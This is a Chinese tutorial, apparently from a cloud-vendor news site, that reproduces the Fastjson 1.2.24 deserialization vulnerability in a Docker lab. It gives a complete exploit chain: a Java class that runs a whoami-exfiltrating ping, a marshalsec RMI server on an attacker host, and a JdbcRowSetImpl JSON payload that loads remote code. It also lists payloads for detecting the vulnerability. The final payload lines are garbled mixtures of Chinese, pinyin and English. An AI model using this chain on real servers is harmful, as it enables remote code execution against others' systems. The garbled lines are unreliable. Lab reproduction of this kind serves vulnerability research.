您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細(xì)介紹希望你能有所收獲。
docker-compose up -d先啟動vulhub的fastjson環(huán)境
Docker開啟的8090端口
假設(shè)我們目標(biāo)IP為1.1.1.1,此時我們訪問1.1.1.1:8090
安裝jdk環(huán)境
很多l(xiāng)inux自帶有jdk環(huán)境,但缺少很多組件,會報錯實屬正常
https://www.oracle.com/java/technologies/javase/javase-jdk8-downloads.html根據(jù)自己系統(tǒng)選擇相應(yīng)jdk下載。
mkdir /opt/java
tar zxvf jdk-8u251-linux-x64.tar.gz -C /opt/java
vim /etc/profile
末尾增加
export JAVA_HOME=/opt/java/jdk1.8.0_251
export JRE_HOME=/opt/java/jdk1.8.0_251
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${PATH}:${JAVA_HOME}/bin:${JRE_HOME}/bin
source /etc/profile
java -version
安裝maven(linux為例)
wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
mkdir /opt/maven
tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
配置環(huán)境變量
vim /etc/profile
在最下面增加
export MAVEN_HOME=/opt/maven/apache-maven-3.6.3
export PATH=$MAVEN_HOME/bin:$PATH
驗證maven是否安裝成功
mvn -version
報錯解決:
你可能遇到這樣的報錯
說明你安裝的jdk有問題,按上述方法不行就百度。
如果是這樣:
說明你環(huán)境變量沒配置好,報這個錯我才發(fā)現(xiàn)可以直接用apt安裝,可能是我換了個系統(tǒng)這個源里面有,之前實驗的時候不是這個系統(tǒng),我這系統(tǒng)是ubantu,具體apt安裝出來的能不能用自己試。
保存以下代碼,命名為dnslog.java
import java.lang.Runtime;
import java.lang.Process;
public class dnslog{
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = { "/bin/sh", "-c", "ping user.`whoami`.dnslog"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
執(zhí)行以下代碼會生成一個dnslog.class文件
javac dnslog.java
使用python在當(dāng)前目錄下起一個http服務(wù),如果端口占用換其他的
python -m SimpleHTTPServer 4567
使用marshalsec項目,啟動RMI服務(wù),監(jiān)聽9999端口并加載遠(yuǎn)程類dnslog.class
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
編譯項目
mvn clean package -DskipTests
如果出現(xiàn)下圖情況,就是jdk環(huán)境問題,自帶jdk環(huán)境不完整。按上面步驟安裝即可。
成功是這樣的,target目錄下會生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。
當(dāng)前目錄下執(zhí)行命令開啟RMI服務(wù):
以我搭建dnslog.class類http服務(wù)的服務(wù)器IP為2.2.2.2端口為4567
cd target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:4567/#TouchFile" 9999
RMI服務(wù)可以搭建在與dnslog.class類的http服務(wù)同一臺服務(wù)器,也可以搭建在其它服務(wù)器上。我們演示還是在同一臺。
既然環(huán)境準(zhǔn)備就緒就掏出burp開搞吧:
構(gòu)造payload扔burp中發(fā)送
POST / HTTP/1.1
Host: 1.1.1.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://2.2.2.2:9999/dnslog",
"autoCommit":true
}
}
成功后是這樣的
RMI:
Python起的http服務(wù):
Burp返回包:
Dnslog平臺能看到執(zhí)行結(jié)果:
為什么我要說著三處執(zhí)行情況,大家肯定很好奇,直接說結(jié)果不就好了嗎?
這里又是已給可能出錯的地方,第一處檢查rmi運(yùn)行情況,第二處檢查http服務(wù)開啟情況,第三處就是執(zhí)行結(jié)果。
如果最終結(jié)果有問題,那處結(jié)果顯示不正常就去哪個地方找原因。第一、二處最有可能出現(xiàn)問題的就是端口占用或者防火墻攔截。Dnslog平臺沒有顯示就說明命令未執(zhí)行成功,也有可能是平臺問題。具體自己檢查。
任意抓個包,提交方式改為POST,花括號不閉合。返回包在就會出現(xiàn)fastjson字樣。當(dāng)然這個可以屏蔽,如果屏蔽使用其它辦法,往后翻。
構(gòu)造以下payload,利用dnslog平臺接收。
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:
{"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
"@type":"java.net.InetSocketAddress"{"address":,"val":"這里是dnslog"}}
["@Type":"Java.Net.InetSocketAddress"{"address":,"Val":"Zhèlǐ shì dnslog"}}]"@Type":
"java.net.InetSocketAddress" { "address":, "val": "This is dnslog"}}
上述內(nèi)容就是如何解析Fastjson1.2.24漏洞復(fù)現(xiàn)的過程,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。